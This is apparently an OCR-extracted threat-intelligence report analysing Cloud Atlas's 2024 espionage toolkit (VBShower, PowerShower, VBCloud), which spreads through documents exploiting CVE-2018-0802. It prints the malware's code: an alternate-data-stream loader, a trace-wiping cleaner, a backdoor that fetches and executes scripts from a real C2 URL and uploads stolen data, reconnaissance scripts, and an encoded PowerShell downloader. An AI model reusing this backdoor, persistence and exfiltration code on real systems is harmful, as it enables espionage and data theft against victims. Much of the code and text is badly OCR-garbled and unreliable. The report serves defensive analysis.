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Cloud Atlas seen using a new tool in its attacks
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Introduction

Known since 2014, Cloud Atlas targets Eastern Europe and Central Asia. We’re shedding light on a previously
undocumented toolset, which the group used heavily in 2024. Victims get infected via phishing emails containing

a malicious document that exploits a vulnerability in the formula editor (CVE-2018-0802) to download and

execute malware code. See below for the infection pattern.
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Typical Cloud Atlas infection pattern

When opened, the document downloads a malicious template formatted as an RTF file from a remote server
controlled by the attackers. It contains a formula editor exploit that downloads and runs an HTML Application
(HTA) file hosted on the same C2 server. The RTF and HTA downloads are restricted to certain time slots and

victim IP addresses: requests are only allowed from target regions.

The malicious HTA file extracts and writes several files to disk that are parts of the VBShower backdoor.
VBShower then downloads and installs another backdoor: PowerShower. This infection scheme was originally

described back in 2019 and has changed only slightly from year to year.
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Previously, Cloud Atlas employed PowerShower to download and run an executable file: a DLL library. This DLL
would then fetch additional executable modules (plug-ins) from the C2 server and execute these in memory.
Among these plug-ins was one specifically designed to exfiltrate files with extensions of interest to the attackers:
DOC, DOCX, XLS, XLSX, PDF, RTF, JPG and JPEG. The plugins were downloaded and their output was
uploaded via the WebDAYV protocol over public cloud services. Interestingly, after a plug-in was successfully
downloaded, the DLL would delete the file from the cloud.

The VBCloud backdoor now replicates the executable file’s original capabilities, such as downloading and
executing malicious plug-ins, communicating with a cloud server, and performing other tasks. We first detected
attacks using this implant in August of last year. Since then, we’ve observed numerous variations of the backdoor
which have helped it to stay under the radar. This new campaign loads VBCloud via VBShower, which also
downloads the PowerShower module. PowerShower probes the local network and facilitates further infiltration,
while VBCloud collects information about the system and steals files. Below, we use a sample seen in September

2024 as a case study to examine each stage of a Cloud Atlas attack that employs the new toolkit.

Technical details

HTA

The exploit downloads the HTA file via the RTF template and runs it. It leverages the alternate data streams
(NTFS ADS) feature to extract and create several files at % APPDATA%\Roaming\Microsoft\Windows\. These
files make up the VBShower backdoor.

age="wbseript">
£o\Windows\ "

tile Environment”, "APFDATA",ehDNa
05321588 . 100"
=Scripting.FileSystemObject™)

ipen

ANe.Create "wscript /B " & Chr(34) & wCkeS&":AppCache0287326116053213859252.vba" & Chr (34)

ce”, "wscript /B " & Chr(34) & "SAPPDATAS"Lep%+"AppCache028732611605321388 . 10g: RppCache026732611605321388 . vbs™ & Chr(34)

End Sub

Sub vpo
setTimeour “rids®, o, “vbscript®
End Sub

=oMrB.OpenTextFile (Wokt54" :AppCache02873261160532138852 .vbs ", 2, True)
"On Error Resume Next"SvbCr&nSer QC=GeTOD3ect (" winmgmes:{ sonLeve }i\root\defaule: ) 1QC.Get ringvalue &H80000000, **CLSID\ {0D43FE01-FOS3-11CF-8940-00A0CI054228 }\ProgID™", =~

Close

tFile (WCkiSe" 732611605321388 . vbs", 2, True)
Resume Next x Qc=Getobject (

J1\rost\defaulr: ):0c Value &HE0000000, "*CLSID\ (0D43FE01-F0S3-11CE-8940~ 2281 \ProgID"", ™"

68453D3120546F2034353A45786563757465206A68456626436B46442C61424A62293R4E6578743031334A506C643D22393239322E7 622303138 4A797A4 1302250726

f\root\defaule ) 1¥Ce2 . GetE: lue &H80000000,""CLSID\{OD43FE01-FOS3-11CF-8940-00R0CI054228}\ProgIDnn, wanw,

Sample HTA content

Below are the VBShower components loaded by the HTA dropper.

File name Description
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VBShower Launcher
AppCache028732611605321388.1og: AppCache02873261160532138892.vbs ( )
copy
AppCache028732611605321388.1og: AppCache028732611605321388.vbs VBShower Launcher
Encrypted VBShower
AppCache028732611605321388.1og: AppCache028732611605321388.dat backd
ackdoor

AppCache028732611605321388.1og: AppCache0287326116053213889292.vbs =~ VBShower Cleaner

After the download is complete, the malware adds a registry key to auto-run the VBShower Launcher script.

"Software\Microsoft\Windows\\Current Version\Run","dmwappushservice","wscript /B
"%APPDATA%\Roaming

\Microsoft\Windows\AppCache028732611605321388.log: AppCache028732611605321388.vbs"

The backdoor also launches further scripts: VBShower Launcher (copy) and VBShower Cleaner.

wscript /B "%APPDATA%\Roaming

\Microsoft\Windows\AppCache028732611605321388.log: AppCache02873261160532138892.vbs

wscript /B "%APPDATA%\Roaming

\Microsoft\Windows\AppCache028732611605321388.log: AppCache0287326116053213889292.vbs

The attackers create custom HTA files for each victim, so the names of the scripts and registry keys are mostly
unique. For example, we have seen intertwine used as a name template, while the file names themselves looked as

follows.

e “intertwine.ini:intertwineing.vbs”;
e “intertwine.ini:intertwineinit.vbs”;
e “intertwine.ini:intertwine.vbs”;

e “intertwine.ini:intertwine.con”.

VBShower

VBShower::Launcher

This script acts as a loader, responsible for reading and decrypting the contents of
AppCache028732611605321388.1og: AppCache028732611605321388.dat, before using the Execute() function to
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pass control to that file.

On Error Resume Mext
S8et QC=GetObject<{"winmgmts:{impersonationLevel=impersonate?? root default:StdRegFrov'’>
QG .GetExpandedStringUalue &HBODODDOO, '"CLSID~{0D43FED1-FO093-11CF-8740-0D0A0C?054228>ProgID" . """ . MGnfHi3
Set aD=CreateObject (MGmfHi3)
wllJzyd=Chr{Asc ("f">-2>+Chr(Asc{"'d">-3>+Chr{Asc{"k">+3)
kkRurga=Split{(M8cript.ScriptFullName.,"~\">
alUNeUKa=kkRurga(UBound(kkRvrgal)
ggmrd3=Replace (aUNeUKa.,"?2". """ . 1.1.00
allNeUKa=Left{qgmr¥3, Len{gqgnri3>—-3>
KWSEJob=aD.GetParentFolderName{WScript.ScriptFullName>
If aD.FileExists(KWSEJob+Chr(?2)+aUNeUKa+ulJzy4> Then
Set RkolMB=aD_OpenTextFile(KWEEJob6&Chr 92 >&kallNelKaduwlJzyd)
LKocHH3=EkoINB.ReadAll
PAUhbTE=Mid<{LKocHH3,3.2>
LE=Mid{LKocHH3.,1.2>
cCEzQ13=True
For i=H To Len{LKocHH3)> Step 2
ECCtJ3I=Mid(LKocHH3.i.2>

If ECCtJ3=PREUhbTE Then
cCE=Q13=NOT cCEsQ13:ECCtJ3="" "
Exit Do
End If
If cCEzQ13 Then
ECCtJ3=Chr{"&H" & LB Xor "&H" & ECCtJ3>
End If
Loop While False
bmhxhx2 =bmhxhx2 +ECCtJ3

Next
HkoINE.Close{)
Execute bmhxhx2
End If

Sample VBShower Launcher content
VBShower::Cleaner

This script is designed to clear the contents of all files inside the \L.ocal\Microsoft\Windows\Temporary Internet
Files\Content.Word\ folder by opening each in write mode. While the files persist, their contents are erased. This
is how the Trojan covers its tracks, removing malicious documents and templates it downloaded from the web

during the attack.

The script uses the same method to erase both its own contents and the contents of the VBShower Launcher copy,

which is used solely for the malware’s first run.

On Error Resume Hext
Set YCcZ=GetObject{"winmgmts:{impersonationlLevel=impersonate}t\rootidefault:StdRegProv")
¥Cc2.GetExpandedStringUalue &HBB0008080,"CLSID\{BD43FEA1-FA23-11CF-8948-0BABCYA542283\ProgID™,"™ ,rK1A
Set FFSh=BreateDhject(rkln)
FfSb.OpenTextFile WScript.ScriptFullHName,2,True
FfSb.OpenTextFile Replace{WScript.ScriptFullHame,"92","",1,1,8),2,True
Set Fqdi=GetObject{"winmgmnts:{impersonationlLevel=impersonate}t\rootidefault:StdRegProv")
Fqd1.GetExpandedStringUalue &HB88600081,"Volatile Environment™,"APPDATA™,UFF
WOHG3="\Temporary Internet Files\Content._Wordy”
jn8="%_.\LocaliHicrosoft\Windows"
If FfSb.FolderExists("%APPDATA%N . .A\Local\Microsofti\Windows\Temporary Internet Files\Content.Wordy™) Then
BAmMA="ZAPPDATA%\ . .\Local\Hicrosofti\Windows\Temporary Internet Files\Content.Word\"
End If
If uhString=UarType(Banh) Then
Set YHMId=FfSb.GetFolder (BAmHA4)
Do
If YHId.Size=8 Then
Exit Do
End If
Set mEC=YHId.Files
For each BIgH8 in mEC
FFSb.0penTextFile BIgHB,2,True
Next
Wscript.Sleep 507
Loop While True
End If
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Sample VBShower Cleaner content
VBShower::Backdoor

The backdoor’s payload is contained encrypted within a DAT file.

S5afel15347a1f282835287amM83f222F373FVa143f222e6019311cl1ebV?8fe303435466F 72205
44268453031 20546F2034353A45786563 75 7465206A68 456628436 B46442C61 424A62293A4E
6578743031 334A506C643D22323232322EV6223031384A7?/A413D2250726F 7879536572766
LP2223031304B7957443D2252756E22303538524565653D22434C5349445C78383864393661
I0622D663139322D0313164342D613635662D3030343032363332353165357D5C0726F67474
422303234524F62633D22496E7465 726 E65 7420536574746 96 E6 7732230313151 7854433D22
2E766273223030374B4E69413D22393222303335627849643D222541 50504441 5441 255C4D6
263726F736F66745C5 7696 EG A6 F27735C223031 38466 C76443D22777363 72697074202 F4220
223030396C63723V3D222E7622303632486675633D222C206C696B65204765636B6F22200436
8726F6D652F3132372E3IM2EIN2EIN205361666172692F353332E3336204564672F3132372E
JNZ2E323533352E393222303130564F48633D224745542230323742594E383D22566F6C61746
26CA52MME6EV66 726 F6EGDES6EY4223031 316144763 73D222E746D702230313753537A4323D
22557365722D416 V656 E7422303233625772633D22646DY 761707075 7368736572766763652
2303138626A4B303D2250726F 7879456 E61626C6522303137456661323D2255534552444F4D
41 494F22 M3 I9MAFAILIN? 241 444F444 22 FRLIAP4P2ALA1 AN?223M31 31 4644 IR IN? 2LM4FL

Encrypted VBShower backdoor

VBShower::Launcher goes through several stages to decrypt the backdoor.

On Error Resume Mext
CkFD="" 303435466F7?220544268453D3120546F2034353A4578656375746520
1444F44422E53747265616D223031 31456446 353D22504F5 35422303931 4472
E6765744F7074626F6E2ZB832223APA322E7365744F70746 26 F6E20322C546 330
Ce56570203132383436323035325630203D20627847642026204353 74722852
2%3%1;4654F62696563?42B?EEE?H35293969332E4F?EEEEE3HEH332E54?9?E
a =
Execute JhEF <CkFD.,aBJh>
Function JhEf Cppo5.ByRef MFu?>

pHNSB=CInt(Bjo3 (Mid<{ppo5. MFu?»_ 6> =2

JhEf =Mid<Bjo3<Mid<ppo5.MFu?>,.pNSB+6>. 4>

MFu?=MFu?+pN5SB+6

Wecript.Sleep 100
End Function
Function Bjo3<cSBi.Uzhi>

ReDim of¥Yf<(Uzhl>

CFi?=2048

CFi?=1

For wyfAd=1 To Uzhl Step 2

of Y£ CuyAd > =Chr{(CInt (Chr{38>+"H"+Mid(cSB1l . wuyAd. 2>>>

Mext

Bjo3=JoinCof¥f . String {0, 03>
End Function

First decrypted layer of VBShower Backdoor
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QC.GetExpandedStringUalue &H8OOO0000,"CLSID\{88d96a0b-F192-11d4-a65F-0040263251e5}3\ProgID™, " ,qn
Set z2=CreateDbject(qn):Tc=2z2_getOption(2):z2.setOption 2,Tc
i7="https://riamir .net/up-content/uploads/elementor/css/post-16._css?uer=1671731007 /panir"
B6="Hozilla/5.8 (Windows HT 18.8; Winék4; xé64) AppleWebKit/537.36 (*
QC.GetExpandedStringUalue &HBOOO0061,"Software\Microsoft\Windows\CurrentVersion\Internet Settings”,"ProxyServer™, A8
UB=Replace(WScript.ScriptFullName,” .v","9292 v",1,1,08)
QC.GetDYORDValue &HBOOOOOO1,"Software\Hicrosofti\Windows\CurrentUersioniInternet Settings”,”ProxyEnable™,Ge
yd=Replace{WScript.ScriptFullName,” ubs™,” .tmp”,1,1,8)
If ((VarType(Ag8) <> vbNull) And (Ge = 1)) Then:z2.setProxy 2, AS:End If
QG.GetExpandedStringUalue &H80888080861,"Volatile Environment',USERDOMAIN",DA
If ((VarType(DA) <> ubNull)) Then:B6=B6+DA:End If:UScript.Sleep 128462
e = "%APPDATA%\Microsoft\Windows\" & CStr(Replace(Yscript.ScriptName,"92","",1,1,8))
Do
QC.GetExpandedStringUalue &HB8BBAAAA1,"Software\MicrosoftiWindous\CurrentVersion\Run”, "dmwappushservice™,Fb
If ({(VarType(Fb) = ubNull}) Then
QG.SetExpandedStringUalue &H8B8888881,"Softwarey\MicrosoftiWindous\GurrentUersion\Run”, "dmwappushservice™, wscript /B "' & Chr{34) & UB & Chr{3y)
End If
On Error Resume Hext
z2.0pen "EET",i?,False:ZZ.SEtHEquEStHEadEr “User-Agent’ ,B6+", like Gecko) Chrome/127.8.8.8 Safarif537.36 Edg/127.0.2535.92"
z2?2_Send
If z2.Status=288 Then
wb=z2.responseText
If Len{wb) < 1048576 Then
nG=r
For i=1 To Len{wb) Step 2
Gé=Hid(wb,i,2)
c8=Chr{"&H" & G6 Xor "&H" & LB)
m5=m5+c8
Hext
Execute nS
Else
set j3=CreateObject("ADODB.Stream”):j3.0pen:j3.Type=1:j3.Urite zZ.responseBody:j3.5aveToFile VB,Z:j3.Close
GetObject("winmgmts:{impersonationLevel=impersonate}t\root\cimu2:Win32_Process").Create "wscript /B ™ & Chr(34)+UB+Chr(34):Uscript.Sleep 52618
aD.0OpenTextFile UB,2,True
End If
End If
Wscript.Sleep 52618
If aD.FileExists{yd) Then
If aD.GetFile{yd).Size > B Then
Set XH=HD.HPEHTExtFilE(yd,1)
z2.0pen "POST",i7,False
z2.5etRequestHeader “User-fgent™,B6+", like Gecko) Chrome/127.8.8.8 Safari/537.36 Edg/127.08.2535.92"
z2_Send XB_Readnll():XB.Close()
aD.0OpenTextFile yd,2,True

End IFf

Randomize

YScript.Sleep 2131234+Int{Rnd*8454)
Loop

Fully decrypted and deobfuscated VBShower Backdoor content
The VBShower backdoor then runs in memory, subsequently performing several operations in a loop.

e Check for the autorun registry key and restore it if missing.

e Attempt to download additional encrypted VB scripts from the C2 server and run these. If the downloaded
data is larger than 1 MB, the module saves the script to disk inside alternate data streams (NTFS ADS) and
runs it with the help of the “wscript” utility. Otherwise, it runs the script in the current context.

e If an alternate data stream contains a TMP file, the backdoor sends it to the C2 server with a POST request.

The additional scripts downloaded from the C2 use the TMP file to store their output.

VBShower::Payload

We were able to detect and analyze a number of scripts downloaded and executed by the VBShower backdoor.
VBShower::Payload (1)
The first script we found does the following.

» Gets the domain, username and computer.
» Gets the names and values of the registry keys in the
SOFTWARE\Microsoft\Windows\Current Version\Run branch.
e Gets information about the file names and sizes in the following folders:
o %AppData%;
o %AllUsersProfile%;
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o %AllUsersProfile%\Canon;
o %AllUsersProfile%\Intel;
o %AllUsersProfile%\Control;
o %AllUsersProfile%\libs;
o %AllUsersProfile%\Adobe;
o %AllUsersProfile%\Yandex;
o %AllUsersProfile%\Firefox;
o %AllUsersProfile%\Edge;
o %AllUsersProfile%\Chrome;
o %AllUsersProfile%\avp.

e Gets the names of running processes, their start dates and the commands that started them.

e Gets a list of scheduler tasks by running cmd.exe /c schtasks /query /v /fo LIST.

All data collected this way is saved in a TMP alternate data stream and forwarded to the C2 server by the

VBShower::Backdoor component.

The paths listed above (%AllUsersProfile%\<subfolder>) are used for installing the VBCloud backdoor. The steps

performed by the script are most likely needed to check if the backdoor is present and installed correctly.

On Error Resume Hext
u_buff = "

set

v_hook.Run Coolg"

set
Set

v_hook=Get0bj

t("new:72C24DD5-D7 BA-438B-8AL2-98424BBBAFDE")

“cmd.exe /c powershell "“'[io.file]::WriteAllText{'C:\Programbatarinit.txt", 'init") ,0.80801:WScript.Sleep 20008
v_ntw=CreateObject("WScript.Network™) zv_buff=-u_ntw.UserDomain&"#" &u_ntw.ComputerNamed # &u_ntw.UserName&Chr (124) :v_buff=v_buff&Chr{10) :v_t1-&H800008601
v_reg=GetObject{"winmgnts:{inpersonationLevel=impersonate}*\rootidefault:StdRegProv™)

1f u_reg_EnunUalues{u_t1,"SOFTWARE\Microsofti\Windous\CurrentUersion\Run",u_t2,u_t3)=8 Then
if isArray(v_t2) then

end
Set
Set
Set
Set
Set
Set
Set
Set
Set
Set
Set
Set
Set
Set
Set
Set
Set
Set
Set
Set
Set
Set
Set
Set
Set
Set
For

for u_tu=8 to UBound{v_t2)
v_reg.GetExpandedStringUalue u_t1,"SOFTWARENHicrosoft\Windows\CurrentUersion\Run™,u_t2(uv_t4),u_t5
u_buFF=u_buf F&Chr (108)8u_t2{u_th)&"#"&u_t5&Chr{124)
next
if:End If
u_fso = CreateObject("Scripting.FileSystemobject")
v_f12=y_fso.GetFolder(CreateObject("WScript.Shell”).ExpandEnvironmentStrings(“%AppData%”)):If v_f12 <> vbNull Then:zv_buff=v_buff&Chr (18)&Chr (18)& AppDL:"
_F12.Files:Fnr each v_fc in u_F :u_huFF=u_huFF&Ehr(1l])&u_Fc.Name&"f"&u_Fc.Size&[:hr(ﬂll):NExt:End If:v_f12 = ubHull

buFF =y huFF&Ehr(10)&u fc.Name&"-"&w_fc.Size&Chr(124): Next End Tf:v _f12 = ubNull

v F12 v, an GQtFnlﬂEl‘([:t‘EatQ[lh]QCt( MSEI‘lpt Shell"). ExpannEnulrnnmentStrmgs( "%Al1UsersProfile% )+ "\Canon"):1f v_f12 <> ubNull Then:v_buff=u_buff&Chr(10)&Chr(18)&"Canon:"
F12 Files:For each u_fc 1n v_ff:u_buff=u_buff&Chr(18)&u_fc_Name&"-"&v_fc.Size&Chr(124) :Hext:End If:u_f12 = ubHull

Sl:ript Shell") ExpannEnuirnnmEntStrings("knllusersPrnFilet")+"\Intel If v_f12 <> ubHull Then:v_buff=v_buff&Chr{18)&Chr{18)&"Intel:"
tu_buff=u_buff&Chr(10)&u_fc.Name&"-"&u_fc.Size&Chr (124) :Hext:End If:u_f12 = ubHull

2=vy_fso. l}etFnlder(createﬂh]ect("uScrlpt Shell") ExpanﬂEnu1rnnmEntStr1ngs("anlusersl’rnhlet")+"\Dnntrn1") If v_f12 <> vbNull Then:v_buff=v_buff&Chr{18)&Chr (18)&" Control:"
F1Z Files:For each u_fc in u_ff:u_buff=u_buff&Chr(18)&u_fc.Named"-"&u_fc.Size&Chr (124) :Next:End If:u_f12 = UbHull

12=u_fso. GetFuldEr(Createﬂh]ect( uScrlpt Shell" ) .ExpandEnvironmentStri gs( "%AllUsersProfile% )+ "\1ibs"): TF v _f12 <> ubMull Then:v_buff=v_buff&Chr(10)&Chr(10)& 1libs:"
&U_fc.Size&Chr (124) :Hext:End 1f:u_f12 = ubNull

F12 FllES For each v_fc in v_f

"
“F
"
“F
F
"

v

v

v

v

)

v

v_ff=i Il_F12 Files:For each u_fc in v_ff:u_buff=u_buff&Chr(10)&u_fc.Named’

v, F12 u_fso. GetFulder(CreateUh]ect( wScrlpt Shell"). ExpandEnulrunmentStnngs( "%AllUsersProfile%” )+ "\Adobe™) :If v_f12 <{> vbNull Then:v_buff=v_bufF&Chr{10)&Chr(10)& Adobe:

v FF u_F12 Files:For each v_fc in v_ff:u_buff=u_buff&Chr(18)&u_fc.Named"-"&u_fc.Size&Chr (124) :Next:End 1f:u_f12 = ubHull

v F1Z u_fso. GEtFuldEr([:rEatE[lh]El:t( MSl:rlpt Shell" )- ExpandEnulrnnmEntStrlngs( "%AllUsersProfile% )+ "\Yandex" ) If u_f12 <> ubNull Then:vu_buff=u_buff&Chr (18)&Chr {(10)&"Yandex:

v_ F12 Files:For each v_fc in v_ff:v_buff=u_buff&Chr(10)&u_fc.Name&"-"&v_fc.Size&Chr (124) :Next:End If:v_f12 = “ubNull

v_ v_fso. GQtFnlﬂEl‘([:t‘EatQ[lh]QCt( MSEI‘lpt Shell").ExpandEnvironmentsStri gs( '%AL1UsersProfile%" )+ "\Firefox"):If u_f12 <> ubNull Then:zu_buff=u_buff&Chr(18)&Chr (18)&" Firefox:"
u_ F12 Files:For each u_fc in v_ff:u_buff=u_buff&Chr(10)&u_fc.Hamed&"-"&u_fc.Size&Chr (124) :Next:End If:u_f12 = UbHull

v_ u_fso. l}etFnlder(createﬂh]ect("uScrlpt Shell") ExpannEnulrnnmEntStrmgs("knllusersl‘rnnlet")+"\Edge") TF v _F12 <> ubNull Then:v_buff=v_buff&Chr{18)&Chr{18)&" Edge:"

u_ F1Z Files:For each u_fc in u_ff:u_buff=u_buff&Chr(10)&u_fc.Named"-"&u_fc_Size&Chr (124) :Next:End If:uy F1Z = ubHull

v_f12=u_fso. GetFuldEr(Createﬂh]ect( uScrlpt Shell" ). ExpandEnulrunmEntStnngs( "%AllUsersProfile% )+ "\Chrome™ ) If v_f12 <> vbNull Then:v_buff=v_buff&Chr (18)&Chr{108)&"Chrome:
v_ff=i Il_F12 Files:For each u_fc in v_ff:u_buff=u_buff&Chr(10)&u_fc.Named’
v, F12 u_fso. GetFulder(CreateUh]ect( Sv:rlpt Shell"). ExpandEnvironmentSt
v F F12 Files:For each v_fc in v_ff:u_buff=u_buff&Chr(18)&u_fc.Named’
u_cinu= [:Et[lh_]en:t( "uinmgnts :{inpersonationLevel=Inpersonate}t\rooticinuz")

Each v_pr in v_cimv.ExecQuery("SELECT * FROM Win32_Process"):v_buff=v_buff&Chr(16)&Left{v_pr.CreationDate,14)&" " &u_pr.Caption&"#"&v_pr.CommandLine&Chr(124) :Next

Lttt
233

&U_fc.Size&Chr (124) :Hext:End 1f:u_f12 = ubNull
gs{"%ALlUsersProfile%")+" "\avp”):If v_f12 <> ubNull Then:v_buff=vu_buff&Chr (10)&Chr (18)& aup:"
%&u_fc.Size&Chr (124) :Next:End If:u_buff=u_buff&Chr(18)

u_fso.0penTextFile(Replace(UScript.ScriptFullName,™ ubs™," .tmp*,1,1,8),8,True) .Urite(v_buff).close()
loku=Replace(WScript.ScriptFullName,” vbs",”.tmp",1,1,0):v_hook.Run Cool& " '&"cmd.exe /c schtasks /query /v /fo LIST »> "&loku,8.68081

Decrypted and deobfuscated contents of script 1

VBShower::Payload (2)

The second script reboots the system.

On Error Resume Hext
Set OpSysSet = GetObject{"winmgmts:{authenticationlevel=Pkt,(Shutdown)}").ExecQuery{“select * from Win32_OperatingSystem where Primary=true™)
for each OpSys in OpSysSet

retUal = OpSys.Reboot()

next

Decrypted and deobfuscated contents of script 2
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VBShower::Payload (3)

A further script downloads a ZIP archive, extracts it into the %TMP% directory, and collects the names and sizes
of downloaded files to then send an extraction report to the C2. This is done to verify that the files were received

and unpacked.

On Error Resume Next
Uscript.Sleep<i0000>
Set gr=GetObject{("winmgmts:{impersonationLevel=impersonatet?sroot~default:StdRegProv'>
gr.GetExpandedStringUalue ZHBODOODODO, 'CLSIDN{(88d%6alb—f192-11d4-a65f 004096325153 \ProglD", """ ".tn
Set tnjbh=CreateObject(tn>
nov=tnjb.getOption<2>
tnjh.setOption 2,.nov
st="Sof tware“Microsof t \Windows\Currentlersion\"
gr.GetExpandedStringlalue &HB0ODDODO01,.st & “Internet Settings',.""ProxyServer'.pxsrv
gr.GetDUORDValue BHBODODOOOOL.st & “Internet Settings', ProxyEnahbhle,pxon
If (WarType(pxsrv) <> vbNull> And C(pxon = 1>> Then
tnjh.setProxy 2. pxsrv
End If
tnjb.0Open “GEI","https:// . false
tnjb.SetRequestHeader "User—Agent", "Mozillars5.0 (Windows NT 10.0; Win64; x64> AppleWebKit-537.36 <(KHTML. like Gecko> Chrome~-118.2.0.0"
tnjh.8end
If tnjh_8tatus=200 Then
Set ts=CreateObject{"ADODB.Stream"?
ts.0pen
ts.Type=1
ts.Write tnjb.responseBody
nf=WUScript.ScriptFullName
zipArch=Replace(Mid<nf 1. Inster(l nf "iz" 13> " _ ini". " zip".,1.1>
ts.S5aveToFile zipfArch.2
ts.Close
Set ShellApp = CreateObject{"Shell.fApplication'>
Set objDestFolder = Shellfipp.NameSpace{CreateObject{"WScript.Shell"> ExpandEnvironmentStrings ("=THP:=">>
Set ohjSwrcFolder = ShellApp.NameSpace(zipArch)
Const owa = &H14&
ohjDestFolder.CopyHere objSrcFolder.Itens,. owa
Set bf=CreateObject{"Scripting.FileSystemObject">
bf .DeleteFile zipfArch
Uscript.8leepli0000>
Set F=bf.GetFolder(CreateObject("WScript.8hell") . ExpandEnvironmentStrings ("<THP=">+'"FPN">
Set £ff = f_Files
3=
For each fc in ff
N t3 = t3&"H"&Fc . Named""&fc.Size
ext
bf .OpenTextFile(Replace(WScript.ScriptFullName.".vhs",.".local”.1,1,.0>,.2 . True) .Yrite(t3>.Close (>
End If

Decrypted and deobfuscated contents of script 3
VBShower::Payload (4) and (5)

VBShower downloads two similar scripts that are designed for installing the VBCloud and PowerShower
backdoors. These scripts first download an archive from a hardcoded link and then unpack it into the
%ALLUSERSPROFILE% folder. In the case of VBCloud, the script changes the extension of the unpacked file
from TXT to VBS and creates a scheduler task to run VBCloud. In the case of PowerShower, the extension of the

unpacked file is changed from TXT to PS1, whereupon the script adds the file to the \Run registry branch.

Unlike VBShower’s own scripts, downloadable scripts with a payload are present on disk as files, rather than

hidden inside alternate data streams.

Besides installing backdoors, these scripts build a report that consists of the names of running processes, their start
dates and the commands that started them, registry keys and values in the \Run branch, and a list of files and

directories at the path where the archive was unpacked. This report is then sent to the C2 server.

Page 8 of 22


https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/12/20144955/Cloud_Atlas_10.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/12/20144955/Cloud_Atlas_10.png

https://securelist.com /cloud-atlas-attacks-with-new-backdoor-vbcloud/115103/

xpandedStringVa.
toby=Createoye:

,8_14
equestieader

00 Then
rm=CreateObject (

&Chr (34) &

~*&v_fe.SizeaChr (124)

0. OpenTextP1le (Replace (HScr1pt .ScrtptPul liane . 1,1,0),2,True) .Nrite(v_buff) .Close ()
Deleterile v,

Decrypted and deobfuscated contents of the scripts for downloading and installing VBCloud and PowerShower

PowerShower

PowerShower is nearly identical to VBShower in terms of functionality.

Write—Host ”Start prutucul "
Spredict_vers = "114.0.
SCUAUK = '{mm}{i}{2}{3){4}{5}{6}{7}{8}{9}{1&}{11){12}{13}{14}{15){16}{17}{18}{19){Zﬂ}{21}{22}{23){24}{25}{26}{27){28}{29}{33}{31}{32}{33}{34}" H
SBUHBEION = SCUAYK —f "RgBiRG4HYmeHGkRhuBuRGHHUQBHHFERUgEHREuHNRRkHG4RaQHpRHsHCQRkHHIR?QH?RGIHQQBCHENRRHEFREYHRMBIHEkRSgELREuHTQBOHESRHHBRRFIHUw
ArACsAKQAJAHsACQAJACQAdgATACQAAcwBYACAAcwBLIAGI AcwBOAHIAaQBufGc AKAAKAHEAKgA4A CwA I AR4ACKAOwAJAAKAJA BEADDAWWBDAGEAhgBZAGUAC g BOAFOAOgABAFQA buBJAGLAdAA
ZANKAJABYAGYALyBuAHAAZQBuACyA T gBRAESAUWBUACT ALAAAGCOAdQByAGWALAANGACQAZgBhAGWAcwB1ACKAOUAJACQACcgyBoNCAAc wB1AHQATwBLWAHGA aQBuAGAAK" . "AAyACWAJABYAGYAL
AAkAcgBlAHGAdOBYAGAATIAAKAHIAaAAUAHMAdA BhAHQAAGB=ADs AL GBGAHUAhgB jAHOAaQBUAGAAIABJA™ , “"E4AUABYAFUASABTACGAJABLAHIADAAPAAoAewAJACOACwBYADDAMAAZARKAZA
GUAcgAoACIAUQB=AGUAcgAtAEEAZuBIAGAAd ' . "AAIACWATAA iAEDAbwB6AGKAbABs AGEALWALACAAMANgACYAU wBpA GAAZABuAHCACwAgA E4AUAAGADEAMAAUADAAROWwAgAFcAaQBuADYANAR
uACAAPQAGACQAcyBzAFsAMABAADs ACGBPAGYAIAACACQAYgB1AHI AbgAgACDAZGBxACAAOAAWACKACGE7?AAKACIAKAGY AaQB6ADDAKABNAGKA IARKAGUAbgBZADoAdABLAGOAC ARPACAAZgB1
AC4AeAB=AC4AY QBuAG4AhwBOAGEAdABPAGBAbgAuUAEWAZGBuA GeAdABoAFBATAAtAGoAbwBpAGAA T AANACCAKGA?ANKACOBIAGANdgBuAGSAZQALAEUAe ABWAHIAZGB=AHMAaQBvAGAATAY
SINRUUHE = [System.Text.Encodingl::Unicode.GetString{[System.Convertl: :FromBase64String(5BUHBEIOND); SUGQRTL=5INXUUHS ; Invoke—-Expression $UGQRIL;

Sample PowerShower script installed with VBShower

PowerShower downloads additional PowerShell scripts from the C2 and executes these. If the downloaded data
begins with the character “P”, PowerShower interprets the data as a ZIP archive, rather than a PowerShell script,
and saves the archive to disk as “%TMP%\Firefox.zip”. PowerShower does not unpack the archive, serving as a

downloader only.
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Function UGQRTL(3$ni) ¢
$ra = "ABCDEFGHIJKLHNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz B123456789+/";
$sr = g
$tuo = "
$nel = %ni.length - 1;
for ($h = 8; $h - le $nel; $h++) {
for ($x = B; $x - le 63; $x++) {
if ($ra[$x] - ceq $ni[$h]) ¢
$x2 = [Convert]::ToString($x, 2).PadLeft(6, '8');
$sr += $x2;

H

H
$nel2 = [Convert]::ToInt32($sr.length) / 8 - 1;
for ($q = 8; $q - 1le $nel2; $q++) {

$u = $sr.substring($q = 8, 8);

$z = [Convert]::ToInt32($v, 2);

Sy = [char]($z);

if (v - ceq “@peeeeese)y {

$u1 = $u;
y else {
S$tuo += $y;
H
return $tuo;
H
Function BUHBEIDH($url) {
$1a = ™5
$t_p = (gi $env: temp).fullname + “\sapp.xtxz";
$tent = [io.file]::ReadnllText($t_p);
Remove - Item $t_p - force - recurse;
$1la = Stent;
$rh = New - Object - ComObject Msxml2.ServerXHLHTTP .6 .8;
$rh.open("POST", $url, $false);
$rh.setOption{2, $rh.getOption(2));
$pr = Get - ItemProperty - Path "HKCU:\\Software\\Microsoft\\Windows\\CurrentUersioni\Internet Settingsii";
if ($pr.ProxyEnahle - eq "1") {
$rh.setProxy(2, $pr.Proxyserver);
H
$rh.SetRequestHeader("User—ngent", "Mozilla/5.8 (Windows NT 18.8; Win64; x64; ru:130.08) Gecko/20200201 Firefox/131.8");
$rh.send{"$1a");
return $rh.status;
H
Function INXUUHS{$url) {
$sr = B;
do {
$rh = Hew - Object - ComObject Msxml2.ServerXMLHTTP .6 .8;
$rh.open{"GET", $url, $false);
$rh.set0Dption(2, $rh.getDption(2));
$pr = Get - ItemProperty - Path "HKCU:\\Software\\Hicrosoft\\Windows\\CurrentUersioni\\Internet Settingsi\";
if ($pr.PruxyEnahle - eq ") {
$rh.setProxy(2, $pr.ProxyServer);
H
